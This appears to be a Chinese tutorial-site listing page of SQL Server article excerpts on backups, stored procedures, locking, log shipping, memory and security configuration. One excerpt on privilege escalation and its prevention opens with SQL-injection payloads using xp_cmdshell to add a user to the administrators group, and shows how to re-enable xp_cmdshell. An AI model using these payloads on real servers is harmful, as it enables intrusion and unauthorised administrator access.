应用软件 - 电脑教程网
无法用TCP/IP协议连接远端SQL Server数据库问题
首先,需要确定您的SQL Server版本,以及它安装了哪些补丁,这很重要。如果补丁没有安装或者没有安装最新的ServicePack,请先安装。 然后,你可以试试看telnet SqlServerName 1433,看是否可以连接上。1433是SQl Server用TCP/IP协议的默认端口。你如果连这个端口都无法连接上,那就应该查查网络配置了。 第3,您得到的错误
分类:应用软件
用SQL创建数据库
首先说说怎么用SQL语句创建数据库,创建数据库的语句有如下几种: 1. CREATE TABLE(创建新表) 2. CREATE INDEX(增加索引) 3. DROP INDEX(删除索引) 4. CONSTRAINT(约束语句) 5. ALTER TABLE(修改表) 6. DROP TABLE(删除表) CREATE TABLE语句: 在数据库中生成新表,表中字段的类型可以为:INTEGER(整型)、LON
分类:应用软件
在SQL Server存储过程中执行DTS包
数据转换服务(DTS)在数据库管理和开发的多种领域都有会涉及DTS: 数据仓库-将数据从原始的处理系统和表格中提取出来以供报表使用 建立OLAP 将大量数据从文本文件或其它非数据库格式的文件中拷贝到数据库 生成Microsoft Office文档报表 使用 Distributed Transaction Coordinator (DTC)实现多数据库操作 在客户的桌面程序或
分类:应用软件
Sqlserver中的一些技巧
获取一个SQLServer上的所有数据库信息 用存储过程 sp_databases 在查询分析其中执行命令exec sp_databases 结果:master 14464 NULL model 1280 NULL msdb 14336 NULL Northwind 4352 NULL pubs 2560 NULL Store 1912 NULL tempdb 8704 NULL test 1272 NULL 获取一个数据库的所有表用存储过程 sp_tables 执行命令: use North
分类:应用软件
备份服务器端SQL SERVER数据库至本地目录
/*數據庫備份存儲過程*/ /*支持從服務器備份數據至本地機器上*/ CREATE PROCEDURE up_dbbackup ( @backup_db_name VARCHAR(128), @filename VARCHAR(128), /*備份路徑 文件名*/ @flag VARCHAR(60) OUTPUT ) AS SET NOCOUNT ON DECLARE @sql NVARCHAR(4000),@par NVARCHAR(1000) IF NOT EXISTS( SELECT * FROM master..sysda
分类:应用软件
关于SQL Server 2000的安全配置
SQL Server 2000的安全配置在进行SQL Server 2000数据库的安全配置之前,首先你必须对操作系统进行安全配置,保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件(程序)进行必要的安全审核,比如对ASP、PHP等脚本,这是很多基于数据库的WEB应用常出现的安全隐患,对于脚本主要是一个过滤问题,需要过滤一些类
分类:应用软件
SQL Server提升权限相关命令及防范
;exec master..xp_cmdshell "net user name password /add"--;exec master..xp_cmdshell "net localgroup administrators name /add"-- 程序代码开启cmdshell的SQL语句 EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在select count(*) from master.dbo.sysobjects where xtype='X' and
分类:应用软件
探讨SQL Server中Case 的不同用法
CASE 可能是 SQL 中被误用最多的关键字之一。虽然你可能以前用过这个关键字来创建字段,但是它还具有更多用法。例如,你可以在 WHERE 子句中使用 CASE。 首先让我们看一下 CASE 的语法。在一般的 SELECT 中,其语法如下: SELECT myColumnSpec = CASE WHEN A THEN somethingA WHEN B THEN somethingB ELSE somethingE END
分类:应用软件
无数据库日志文件恢复数据库方法两则(二)
方法二 事情的起因 昨天,系统管理员告诉我,我们一个内部应用数据库所在的磁盘空间不足了。我注意到数据库事件日志文件XXX_Data.ldf文件已经增长到了3GB,于是我决意缩小这个日志文件。经过收缩数据库等操作未果后,我犯了一个自进入行业以来的最大最愚蠢的错误:竟然误删除了这个日志文件!后来我看到所有论及数据库恢复
分类:应用软件
无数据库日志文件恢复数据库方法两则(一)
方法一 1.新建一个同名的数据库 2.再停掉sql server(注意不要分离数据库) 3.用原数据库的数据文件覆盖掉这个新建的数据库 4.再重启sql server 5.此时打开企业管理器时会出现置疑,先不管,执行下面的语句(注意修改其中的数据库名) 6.完成后一般就可以访问数据库中的数据了,这时,数据库本身一般还要问题,解决办法是,利用 数
分类:应用软件
分页 SQLServer存储过程
/*--用存储过程实现的分页程序 显示指定表、视图、查询结果的第X页对于表中主键或标识列的情况,直接从原表取数查询,其它情况使用临时表的方法如果视图或查询结果中有主键,不推荐此方法 --邹建 2003.09--*/ /*--调用示例exec p_show '地区资料' exec p_show '地区资料',5,3,'地区编号,地区名称,助记码','地区编号'--*/ /*因
分类:应用软件
MySQL和SQL Server,到底选择谁?
对于程序开发人员而言,目前使用最流行的两种后台数据库即为MySQL and SQL Server。这两者最基本的相似之处在于数据存储和属于查询系统。你可以使用SQL来访问这两种数据库的数据,因为它们都支持ANSI-SQL。还有,这两种数据库系统都支持二进制关键词和关键索引,这就大大地加快了查询速度。同时,二者也都提供支持XML的各种
分类:应用软件
建立安全的MSSQL SERVER启动账号
SQL SERVER的安全问题一直是困扰DBA的一个难题,作为开发者和用户希望自己的权限越大越好,最好是SA,而作为DBA希望所有的用户权限越小越好,这总是一对矛盾。一般来说,我们会考虑采用WINDOWS验证模式,建立安全的用户权限,改变SQL SERVER TCP/IP的默认端口...等安全措施,但很多DBA还是忽略了MSSQL SERVER服务的启动账号
分类:应用软件
SQL Server 2000之日志传送功能(2)
Step 4: 通知监控服务器角色已变更 SQL Server 2000 的日志传送会在监控服务器上安装监控工具程序;最好是在第三台服务器。为了通知监控服务器日志传送的角色已经过变更,您必须在监控服务器上执行 sp_change_monitor_role 预存程序,如程序代码列表3所示。尽管名称内含有 change 字眼,但它并不会变更监控服务器的角色。相
分类:应用软件
SQL Server 2000之日志传送功能(1)
角色变更、角色互换、以及监控服务器所在位置 当线上数据库停摆时(可能是计划内维护工作,或是预期外的状况),如果还有备援服务器上的数据库可供存取,您可能会比较安心一点。一个设计良好的日志传送系统(将数据库交易日志文件从主要服务器传送到备援服务器)即可给予您这样的自信心。内建于 SQL Serve 2000 企业板与开发版
分类:应用软件
SQL Server 安全检查列表
1. 确认已经安装了NT/2000和SQL Server的最新补丁程序,不用说大家应该已经安装好了,但是我觉得最好还是在这里提醒一下。 2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。 3. 给 "sa" 和 "probe" 帐户设定强壮的密码来加强其安全性。设定
分类:应用软件
SQL Server的用户及权限
Sybase中的用户分为两种:SQL服务器用户(登录帐号)和数据库用户。 安装完SQL服务器后,系统自动建立一个SQL服务器用户sa,口令为空,即系统管理员,他对整个系统有操作权,其他用户均由系统管理员建立。 在SQL Server中有三种特殊的用户:系统管理员、用户数据库所有者(建立相应数据库的数据库用户)DBO、一般用户。系统
分类:应用软件
深入探讨SQL Server 2000对XML的支持
我们可以很简单的使用ADO访问数据库中的数据,但是,如果我们想把从数据库中检索得 到的数据以XML的格式显示出来的话,就要费点神了,当然,我们可以去找一些现成的应用程 虽说ADO2.5宣称支持XML,但是它仍需要一个额外的层来处理把数据转化成XML的过 程。幸好有了SQL Server 2000,它宣称可以直接从数据库中取出数据,而不
分类:应用软件
SQL Server 2005 常见问题解答
Q. SQL Server 2005 产品线主要有几个版本? A. SQL Server 2005 产品家族被重新设计以更好的满足不同客户的需求,它包含以下几个版本: SQL Server 2005 企业版 是用于企业关键业务应用的完全集成的数据管理和商业智能分析的平台。它是对那些有着复杂的工作负荷,高级的分析需求和严格的高可用需求的公司适合的选择。它的特
分类:应用软件
深入SQL SERVER 2000的内存管理机制(二)
可访问大地址的应用 (Large-Address-Aware Executables) 在Windows增加支持/3GB参数以前,一个应用程序是无法访问一个带有高位设置的指针.一个32位的指针只有前31位地址空间可以被用户模式的应用程序访问.这剩余的一位不用.因此有一些聪明的开发者因为其他的目的不愿意在处理内存地址空间时浪费这一位.(举例来说:可以用来标
分类:应用软件
深入SQL SERVER 2000的内存管理机制(三)
内存区域 SQL Server是分2块区域来组织内存分配,分别是Bpool (缓冲池区)和MemToLeave (内存释放区),如果你使用AWE内存,那么实际上有第三个区:Windows AWE支持的高于3GB的物理内存区。 缓冲池区是这3块内存区中最卓越的,是SQL SERVER最初分配的缓冲池供最初的数据页和索引页使用,并且被用来分配小于8K的内存。MemToL
分类:应用软件
MS SQL数据库备份和恢复存储过程
if exists( select * from sysobjects where name='pr_backup_db' and xtype='p' )begin drop proc pr_backup_dbendgo/*备份数据库*/create proc pr_backup_db@flag varchar(10) out,@backup_db_name varchar(128),@filename varchar(1000) --路径+文件名字asdeclare @sql nvarchar(4000),@par nvarchar(1000)select @par=
分类:应用软件
用脚本缩小数据库日志
因为客户使用的数据库时常因为日志过大而导致硬盘空间不够,或者备份出来的文件太大无法通过邮件传送。 闲下有余,参考SQLSERVER的帮助文件,写了如下脚本,可以截断日志,以达到缩小文件的目的。有空大家可以在自己的SQLSERVER上测试下效果哦。。。:)也许对有些情况导致的日志过大没有作用,这点可以同各位同仁互相交流
分类:应用软件
SQL server锁的机制
SQL server锁的机制 SQL server的所有活动都会产生锁。锁定的单元越小,就越能越能提高并发处理能力,但是管理锁的开销越大。如何找到平衡点,使并发性和性能都可接受是SQL Server的难点。SQL Server有如下几种琐:1、 共享锁用于只读操作(SELECT),锁定共享的资源。共享锁不会阻止其他用户读,但是阻止其他的用户写和修改
分类:应用软件
SQL SERVER的命名规则
在SQL SERVER中标识符共有两种类型:一种是规则标识符(Regular identifer),一种是界定标识符(Delimited identifer)。 其中,规则标识符严格遵守标识符的有关格式的规定,所以在Transact_SQL中凡是规则运算符都不必使用定界符。对于不符合标识符格式的标识符要使用界定符[]或‘ ’。 标识符格式: 1、标识符必须是统一码
分类:应用软件
SQL Server中格式化表中的数据
在数据库开发中,由于用户录入信息的随意性,可能产生表内字符串类型的数据两端存有空格,或大小写不一致等现象,给以后数据应用过程中造成不必要的麻烦。这里简单使用了一个存储过程来解决这些问题。 /* 整理系统数据*/CREATE PROCEDURE pro_ClearupDataas--第一部分 整理字符串类型的数据 去除两端的空格 declare @tableN
分类:应用软件
取汉字拼音首字母的存储过程
Create function fun_getPY ( @str nvarchar(4000) ) returns nvarchar(4000) as begin declare @word nchar(1),@PY nvarchar(4000) set @PY='' while len(@str)0 begin set @word=left(@str,1) --如果非汉字字符,返回原字符 set @PY=@PY (case when unicode(@word) between 19968 and 19968 20901 then ( select top 1 PY
分类:应用软件
复制表结构的通用存储过程
一个SQL存储过程经验总结:ASP与存储过程解析SQL Server编写存储过程小工具如何在SQL存储过程中处理错误收藏几段SQL Server语句和存储过程asp 存储过程的使用sql server2000中怎么对存储过程进行加MySQL 5.0新特性教程 存储过程使用C#创建SQL Server的存储过程ASP中使用存储过程-- Transfer对象的重要属性 -- 1. 属性 属性
分类:应用软件
删除全文索引
利用高级筛选功能巧妙删除Excel的重复运用查找巧删除防护技巧:自己动手删除木马 病毒如何禁止产生Thumbs.db和删除的方法删除与新建QQ空间导航代码查询及删除重复记录的方法大全轻松删除Excel表格中的空行事半功倍 批量删除Excel空行如何删除XP系统自带的MSN彻底删除QQ多余好友的三种实用方法 在一台sql server正常的电脑,如
分类:应用软件
如何修复SQLSERVER 数据库置疑之
如果 SQL Server 因为磁盘可用空间不足,而不能完成数据库的恢复,那么 SQL Server 2000 会返回错误 1105 并且将 sysdatabases 中的 status 列设为置疑。 你可以看到在SQLSERVER 的ERROR LOG 和OS的应用程序日志中应该有1105的错误信息: SQL Server事务日志可能会被填满,这会阻止之后的数据库操作,包括UPDATE, DELETE,
分类:应用软件
<< 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 >>